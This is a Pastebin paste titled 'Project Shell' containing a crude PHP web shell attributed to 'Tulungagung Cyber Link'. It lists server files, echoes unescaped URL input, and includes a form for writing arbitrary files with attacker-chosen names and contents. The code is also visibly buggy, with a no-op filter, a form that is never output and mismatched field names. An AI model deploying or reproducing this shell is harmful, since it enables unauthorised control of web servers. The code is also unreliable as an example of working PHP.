Advertisement
Guest User

Project Shell

a guest
Sep 23rd, 2018
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.20 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.   <title></title>
  5.   <style>
  6.     .ico { width: 5% }
  7.     .menu { margin: 3px }
  8.   </style>
  9. </head>
  10. <body>
  11.   <h1 style="text-aligin: center">{ Tulungagung Cyber Link }</h1>
  12.   <hr><hr>
  13.       <center>
  14.         <a href="?home" class="menu"> Scan Folder </a>
  15.         <a href="?tambah_data" class="menu"> Tambah Data </a>
  16.       </center>
  17.       <hr><hr>
  18.     </body>
  19.   </html>
  20.  
  21. <?php
  22.  
  23.       if (isset($_GET['home'])) {
  24.         $folder = './';
  25.         echo "Folder : $folder <hr>";
  26.  
  27.         $buka_folder = opendir($folder);
  28.         $data = array();
  29.  
  30.         while ($baca_folder = readdir($buka_folder)) {
  31.           substr($baca_folder, 0,1 != '.');
  32.           $data[] = $baca_folder;
  33.         }
  34.  
  35.         $table = '';
  36.         $table .= '<table>';
  37.  
  38.         while (list($index, $file) = each($data)) {
  39.  
  40.             if (is_dir($file)) {
  41.  
  42.               $table .= "
  43.              <tr>
  44.                <td><img src='https://cdn.pixabay.com/photo/2013/07/12/15/34/folder-150112_960_720.png' class='ico'> $file</td>
  45.                </tr>
  46.                  ";
  47.             }else{
  48.               //file
  49.               $table .= "
  50.              <tr>
  51.                <td><img src='http://icons.iconarchive.com/icons/graphicloads/colorful-long-shadow/256/Files-icon.png' class='ico'> <a href='?open_file=".$file."'> ".$file." </a></td>
  52.              </tr>
  53.              <td>Size : ".filesize($file).".kb</td>
  54.                  ";
  55.             }
  56.         }
  57.         $table .= '<table>';
  58.         echo $table;
  59.     }
  60.     if (isset($_GET['open_file'])) {
  61.       $file = $_GET['open_file'];
  62.  
  63.       echo "$file";
  64.     }
  65.  
  66.     if (isset($_GET['tambah_data'])) {
  67.         $output = "
  68.  
  69.        <form>
  70.          <input type='text' name='namafile' placeholder='Nama File...'>
  71.          <textarea name='isifile' placeholder='Isi File...'></textarea> <br>
  72.          <input type='submit' name='buat' value='Buat !!!'>
  73.        </form>
  74.        ";
  75.        }
  76.  
  77.     if (isset($_POST['Buat'])) {
  78.       $nama_file = $_POST['nama_file']; $isifile = $_POST['namafile'];
  79.  
  80.       $handle = fopen($nama_file, 'w');
  81.       fwrite($handle, $isifile);
  82.  
  83.       echo $nama_file . "Berhasil Dibuat !!!";
  84.     }
  85.  
  86.  ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement